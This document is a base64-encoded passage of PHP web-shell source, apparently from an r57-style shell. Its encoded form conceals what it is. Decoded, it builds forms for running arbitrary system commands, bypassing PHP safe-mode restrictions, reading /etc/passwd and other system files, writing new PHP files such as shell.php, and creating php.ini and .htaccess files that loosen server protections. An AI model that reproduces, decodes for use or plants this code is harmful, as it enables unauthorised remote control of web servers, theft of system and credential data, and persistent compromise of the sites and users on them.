aW4oJ3RleHQnLCdjb21tYW5kJyw1NCwoIWVtcHR5KCRfUE9TVFsnY29tbWFuZCddKT8oJF9QT1NUWydj b21tYW5kJ10pOigiaWQiKSkpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2NvbW1hbmQnKS53cyg0KS5pbign c3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxJ10pKTsNCmVjaG8gJHRlLic8 L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCg0KDQoNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxl KCRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMDMnXSwnaWQ0MTEnKS4kdGFibGVfdXAyLmRpdignaWQ0MTEn KS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMDInXS4kYXJyb3cu IjwvYj4iLGluKCd0ZXh0JywnaW5pX3Jlc3RvcmUnLDg1LCcvZXRjL3Bhc3N3ZCcpLmluKCdoaWRkZW4n LCdjbWQnLDAsJ2luaV9yZXN0b3JlJykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS53cyg0KS5pbign c3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ3J10pKTsNCmVjaG8gJHRlLic8 L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5n WyRsYW5ndWFnZS4nX3RleHQyMjQnXSwnaWQ1MTEnKS4kdGFibGVfdXAyLmRpdignaWQ1MTEnKS4kdHM7 DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMDInXS4kYXJyb3cuIjwvYj4i LCI8c2VsZWN0IHNpemU9XCIxXCIgbmFtZT1cInBsdWdpblwiPjxvcHRpb24gdmFsdWU9XCJwbHVnaW5c Ij4vZXRjL3Bhc3N3ZDwvb3B0aW9uPjwvb3B0aW9uPjwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2NtZCcs MCwncGx1Z2luJykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS53cyg0KS5pbignc3VibWl0Jywnc3Vi bWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ3J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJs ZV9lbmQxLiRmZTsNCn0NCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFn ZS4nX3RleHQ0MiddLCdpZDMnKS4kdGFibGVfdXAyLmRpdignaWQzJykuJHRzOw0KZWNobyBzcigxNSwi PGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDMnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZV9u YW1lJyw4NSwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCdlZGl0X2ZpbGUnKS5pbignaGlkZGVuJywn ZGlyJywwLCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidf YnV0dDExJ10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCmlmKCRzYWZlX21v ZGUpDQp7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0

MjA0J10sJ2lkMjA0JykuJHRhYmxlX3VwMi5kaXYoJ2lkMjA0JykuJHRzOw0KZWNobyBzcigxNSwiPGI+ Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjI2J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3Qx MF9maWxlJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDEwX2ZpbGUnXSk/KCRfUE9TVFsndGVzdDEwX2Zp bGUnXSk6KCcuLi8uLi9maWxlLnBocCcpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlk ZGVuJywnY21kJywwLCd0ZXN0MTAnKSk7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4n X3RleHQyMjcnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDEwX2NvbnRlbnQnLDk2LCghZW1w dHkoJF9QT1NUWyd0ZXN0MTBfY29udGVudCddKT8oJF9QT1NUWyd0ZXN0MTBfY29udGVudCddKTooJzw/ IGVjaG8gXCdnb3RjaGFcJzsgPz4nKSkpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdb JGxhbmd1YWdlLidfYnV0dDgnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0K fQ0KDQppZigkc2FmZV9tb2RlKQ0Kew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdb JGxhbmd1YWdlLidfdGV4dDIyOCddLCdpZDIyOCcpLiR0YWJsZV91cDIuZGl2KCdpZDIyOCcpLiR0czsN CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMnXS4kYXJyb3cuIjwvYj4iLGlu KCd0ZXh0JywndGVzdDEyX2NtZCcsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QxMl9jbWQnXSk/KCRfUE9T VFsndGVzdDEyX2NtZCddKTooJ2xzIC1sYScpKSkud3MoNCkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGly KS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MTInKS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5n WyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsN Cn0NCg0KaWYoJHNhZmVfbW9kZSYmISR1bml4KQ0Kew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0 bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIyOSddLCdpZDIyOScpLiR0YWJsZV91cDIuZGl2KCdpZDIy OScpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMnXS4kYXJyb3cu IjwvYj4iLGluKCd0ZXh0JywndGVzdDEzX2NtZCcsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QxM19jbWQn XSk/KCRfUE9TVFsndGVzdDEzX2NtZCddKTooJ2RpcicpKSkud3MoNCkuaW4oJ2hpZGRlbicsJ2Rpcics MCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MTMnKS5pbignc3VibWl0Jywnc3VibWl0Jyww LCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQx LiRmZTsNCn0NCg0KaWYoJHNhZmVfbW9kZSYmZXh0ZW5zaW9uX2xvYWRlZCgiaW9uQ3ViZSBMb2FkZXIi KSkNCnsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQy MzAnXSwnaWQyMzAnKS4kdGFibGVfdXAyLmRpdignaWQyMzAnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4i LiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzMCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0MTRf Y21kJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDE0X2NtZCddKT8oJF9QT1NUWyd0ZXN0MTRfY21kJ10p OignLi4vLi4vYm9vdC5pbmknKSkpLndzKDQpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hp ZGRlbicsJ2NtZCcsMCwndGVzdDE0JykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3Vh Z2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQoNCmlm KCRzYWZlX21vZGUmJiEkdW5peCYmZXh0ZW5zaW9uX2xvYWRlZCgid2luMzJzdGQiKSkNCnsNCmVjaG8g JGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMzEnXSwnaWQyMzEn KS4kdGFibGVfdXAyLmRpdignaWQyMzEnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5n dWFnZS4nX3RleHQzJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QxNV9jbWQnLDk2LCghZW1w dHkoJF9QT1NUWyd0ZXN0MTVfY21kJ10pPygkX1BPU1RbJ3Rlc3QxNV9jbWQnXSk6KCdkaXInKSkpLndz KDQpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDE1Jyku aW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0 ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQoNCmlmKCRzYWZlX21vZGUmJiEkdW5peCYmZXh0 ZW5zaW9uX2xvYWRlZCgid2luMzJzZXJ2aWNlIikpDQp7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90 aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjMyJ10sJ2lkMjMyJykuJHRhYmxlX3VwMi5kaXYoJ2lk MjMyJykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MyddLiRhcnJv dy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0MTZfY21kJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDE2X2Nt ZCddKT8oJF9QT1NUWyd0ZXN0MTZfY21kJ10pOignZGlyJykpKS53cyg0KS5pbignaGlkZGVuJywnZGly JywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3QxNicpLmluKCdzdWJtaXQnLCdzdWJtaXQn LDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2Vu ZDEuJGZlOw0KfQ0KDQppZigkc2FmZV9tb2RlJiZleHRlbnNpb25fbG9hZGVkKCJwZXJsIikpDQp7DQpl Y2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTMxJ10sJ2lk MzQnKS4kdGFibGVfdXAyLmRpdignaWQyMzMnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRs YW5ndWFnZS4nX3RleHQzJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QxN19jbWQnLDk2LCgh ZW1wdHkoJF9QT1NUWyd0ZXN0MTdfY21kJ10pPygkX1BPU1RbJ3Rlc3QxN19jbWQnXSk6KCdkaXInKSkp LndzKDQpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDE3 JykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hv ICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQoNCmlmKCRzYWZlX21vZGUmJiEkdW5peCYm ZXh0ZW5zaW9uX2xvYWRlZCgiZmZpIikpDQp7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgk bGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTMyJ10sJ2lkMzUnKS4kdGFibGVfdXAyLmRpdignaWQyMzQnKS4k dHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzJ10uJGFycm93LiI8L2I+ IixpbigndGV4dCcsJ3Rlc3QxOF9jbWQnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0MThfY21kJ10pPygk X1BPU1RbJ3Rlc3QxOF9jbWQnXSk6KCdkaXInKSkpLndzKDQpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRp cikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDE4JykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFu

Z1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7 DQp9DQoNCmlmKCRzYWZlX21vZGUmJkBmdW5jdGlvbl9leGlzdHMoJ2ZvcGVuJykpDQp7DQplY2hvICRm cy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTIyJ10sJ2lkMTAwMCcp LiR0YWJsZV91cDIuZGl2KCdpZDEwMDAnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5n dWFnZS4nX3RleHQ0J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QyMCcsOTYsKCFlbXB0eSgk X1BPU1RbJ3Rlc3QyMCddKT8oJF9QT1NUWyd0ZXN0MjAnXSk6KCRkaXIpKSkuaW4oJ2hpZGRlbicsJ2Rp cicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MjAnKS53cyg0KS5pbignc3VibWl0Jywn c3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0 YWJsZV9lbmQxLiRmZTsNCg0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1 YWdlLidfdGV4dDEyNyddLCdpZDEwMDEnKS4kdGFibGVfdXAyLmRpdignaWQxMDAxJykuJHRzOw0KZWNo byBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjUnXS4iICIuJGxhbmdbJGxhbmd1YWdl LidfdGV4dDU5J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QyMV9maWxlJyw5NiwoIWVtcHR5 KCRfUE9TVFsndGVzdDIxX2ZpbGUnXSk/KCRfUE9TVFsndGVzdDIxX2ZpbGUnXSk6KCRkaXIuInRlc3Qu cGhwIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3Qy MScpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkp Ow0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KDQppZigkc2FmZV9tb2RlJiZA ZnVuY3Rpb25fZXhpc3RzKCdyZWFscGF0aCcpKQ0Kew0KJHNlbGVjdF9uX3JscGggPSAiPHNlbGVjdCBu YW1lPSduX3JscGgnPjxvcHRpb24gdmFsdWU9MT5bIDEgXSAoPDwwLDAxIHNlYyk8L29wdGlvbj48b3B0 aW9uIHZhbHVlPTI+WyAyIF0gKDwwLDAxIHNlYyk8L29wdGlvbj4iLg0KIjxvcHRpb24gdmFsdWU9MyBz ZWxlY3RlZD5bIDMgXSAoPDEgc2VjIChkZWZhdWx0KSk8L29wdGlvbj4iLg0KIjxvcHRpb24gdmFsdWU9 ND5bIDQgXSAoPDEwIHNlYyk8L29wdGlvbj48b3B0aW9uIHZhbHVlPTU+WyA1IF0gKD4xMDAgc2VjIChk YW5nZXIpKTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9Nj5bIDYgXSAoPj4xMDAgc2VjIChkYW5nZXIpKTwv b3B0aW9uPjwvc2VsZWN0PiI7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFu Z3VhZ2UuJ190ZXh0MTIzJ10sJ2lkMTAwMicpLiR0YWJsZV91cDIuZGl2KCdpZDEwMDInKS4kdHM7DQpl Y2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0J10uJGFycm93LiI8L2I+Iixpbign dGV4dCcsJ2RpcicsMzAsKCFlbXB0eSgkX1BPU1RbJ2Rpcl9ybHBoJ10pPygkX1BPU1RbJ2Rpcl9ybHBo J10pOigkZGlyKSkpLndzKDIpLic8Yj4nLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1NSddLic8L2I+Jy53 cygyKS5pbigndGV4dCcsJ2VuZF9ybHBoJyw2LCghZW1wdHkoJF9QT1NUWydlbmRfcmxwaCddKT8oJF9Q T1NUWydlbmRfcmxwaCddKTooJy5waHAnKSkpLndzKDIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3Qy MicpLndzKDIpLic8Yj4nLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNDYnXS4nPC9iPicud3MoMikuJHNl bGVjdF9uX3JscGgud3MoMikuaW4oJ2hpZGRlbicsJ3Rlc3QyMicsMCwndGVzdDIyJykud3MoNCkuaW4o J3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4n PC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQppZigkc2FmZV9tb2RlJiZAZnVuY3Rpb25fZXhpc3Rz KCdzZXNzaW9uX3NhdmVfcGF0aCcpKQ0Kew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxh bmdbJGxhbmd1YWdlLidfdGV4dDEyNCddLCdpZDEwMDMnKS4kdGFibGVfdXAyLmRpdignaWQxMDAzJyku JHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NCddLiRhcnJvdy4iPC9i PiIsaW4oJ3RleHQnLCd0ZXN0MjNfZmlsZTInLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0MjNfZmlsZTIn XSk/KCRfUE9TVFsndGVzdDIzX2ZpbGUyJ10pOigkZGlyKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRp cikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDIzJykpOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1sk bGFuZ3VhZ2UuJ190ZXh0MTI4J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QyM19maWxlMScs OTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QyM19maWxlMSddKT8oJF9QT1NUWyd0ZXN0MjNfZmlsZTEnXSk6 KCI8PyBwaHBpbmZvKCk7ID8+IikpKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRs YW5ndWFnZS4nX2J1dHQxMCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQoN CmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMjUnXSwn aWQxMDA0JykuJHRhYmxlX3VwMi5kaXYoJ2lkMTAwNCcpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxh bmdbJGxhbmd1YWdlLidfdGV4dDQnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDI0X2ZpbGUy Jyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDI0X2ZpbGUyJ10pPygkX1BPU1RbJ3Rlc3QyNF9maWxlMidd KTooJGRpcikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rl c3QyNCcpKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEyOCddLiRhcnJv dy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0MjRfZmlsZTEnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0MjRf ZmlsZTEnXSk/KCRfUE9TVFsndGVzdDI0X2ZpbGUxJ10pOigiPD8gcGhwaW5mbygpOyA/PiIpKSkud3Mo NCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MTAnXSkpOw0KZWNo byAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KDQp9DQppZigkc2FmZV9tb2RlJiZAZnVuY3Rp b25fZXhpc3RzKCdyZWFkZmlsZScpKQ0Kew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxh bmdbJGxhbmd1YWdlLidfdGV4dDEyNiddLCdpZDEwMDUnKS4kdGFibGVfdXAyLmRpdignaWQxMDA1Jyku JHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjUnXS4iICIuJGxhbmdb JGxhbmd1YWdlLidfdGV4dDU5J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QyNV9maWxlMics OTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QyNV9maWxlMiddKT8oJF9QT1NUWyd0ZXN0MjVfZmlsZTInXSk6 KCRkaXIuInNoZWxsLnBocCIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywn Y21kJywwLCd0ZXN0MjUnKSk7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQx

MjgnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDI1X2ZpbGUxJyw5NiwoIWVtcHR5KCRfUE9T VFsndGVzdDI1X2ZpbGUxJ10pPygkX1BPU1RbJ3Rlc3QyNV9maWxlMSddKTooIjw/IHBocGluZm8oKTsg Pz4iKSkpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEw J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCmlmKCRzYWZlX21vZGUp DQp7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjA3 J10sJ2lkMjA3JykuJHRhYmxlX3VwMi5kaXYoJ2lkMjA3JykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4k bGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjA2J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2dsb2InLDg1 LCcvZXRjLycpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2dsb2InKS5pbignaGlkZGVuJywnZGlyJywwLCRk aXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDcnXSkp Ow0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KZWNobyAkZnMuJHRhYmxlX3VwMS5k aXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIwOSddLCdpZDIwOScpLiR0YWJsZV91cDIuZGl2 KCdpZDIwOScpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIwNidd LiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdyb290Jyw4NSwnL2V0Yy8nKS5pbignaGlkZGVuJywnY21k JywwLCdyb290JykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS53cyg0KS5pbignc3VibWl0Jywnc3Vi bWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ3J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJs ZV9lbmQxLiRmZTsNCg0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdl LidfdGV4dDEyMSddLCdpZDI5MDAnKS4kdGFibGVfdXAyLmRpdignaWQyOTAwJykuJHRzOw0KZWNobyBz cigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzAnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0 JywndGVzdDE5Jyw4NSwnL2V0Yy9wYXNzd2QnKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MTknKS5p bignaGlkZGVuJywnZGlyJywwLCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdb JGxhbmd1YWdlLidfYnV0dDgnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0K DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjEwJ10s J2lkMjEwJykuJHRhYmxlX3VwMi5kaXYoJ2lkMjEwJykuJHRzOw0KZWNobyAiPHRhYmxlIGNsYXNzPXRh YmxlMSB3aWR0aD0xMDAlIGFsaWduPWNlbnRlcj4iOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFu Z3VhZ2UuJ190ZXh0MzAnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnemVuZCcsODUsKCFlbXB0eSgk X1BPU1RbJ3plbmQnXSk/KCRfUE9TVFsnemVuZCddKTooIi9ldGMvcGFzc3dkIikpKS5pbignaGlkZGVu JywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3plbmQnKS53cyg0KS5pbignc3VibWl0 Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4n LiR0YWJsZV9lbmQxLiRmZTsNCg0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxh bmd1YWdlLidfdGV4dDIxMSddLCdpZDIxMScpLiR0YWJsZV91cDIuZGl2KCdpZDIxMScpLiR0cy4iPHRy PiIuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD0zNCU+Ii4kdHM7DQplY2hvICI8Zm9udCBmYWNlPXRh aG9tYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4n X3RleHQyMTInXS4iPC9kaXY+PC9iPjwvZm9udD4iOw0KZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFu Z3VhZ2UuJ190ZXh0MjAnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywncGhwX2luaTEnLDEwLCdwaHAu aW5pJykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0NjUn XSkpOw0KZWNobyAiPGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBp ZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjEzJ10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsNCmVj aG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIwJ10uJGFycm93LiI8L2I+Iixpbign dGV4dCcsJ2h0YWNjZXMnLDEwLCdodGFjY2VzcycpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAs JGxhbmdbJGxhbmd1YWdlLidfYnV0dDY1J10pKTsNCmVjaG8gIjxmb250IGZhY2U9dGFob21hIHNpemU9 LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIxOCdd LiI8L2Rpdj48L2I+PC9mb250PiI7DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3Rl eHQyMCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmaWxlX2luaScsMTAsJ2luaS5waHAnKS53cyg0 KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ2NSddKSk7DQplY2hv ICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQoNCiRhbGlhc2VzMiA9ICcnOw0KZm9yZWFjaCAo JGFsaWFzZXMgYXMgJGFsaWFzX25hbWU9PiRhbGlhc19jbWQpDQogew0KICRhbGlhc2VzMiAuPSAiPG9w dGlvbj4kYWxpYXNfbmFtZTwvb3B0aW9uPiI7DQogfQ0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0 bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDcnXSwnaWQ2JykuJHRhYmxlX3VwMi5kaXYoJ2lkNicpLiR0 czsNCmVjaG8gc3IoMTUsIjxiPiIud3MoOSkuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDgnXS4kYXJyb3cu 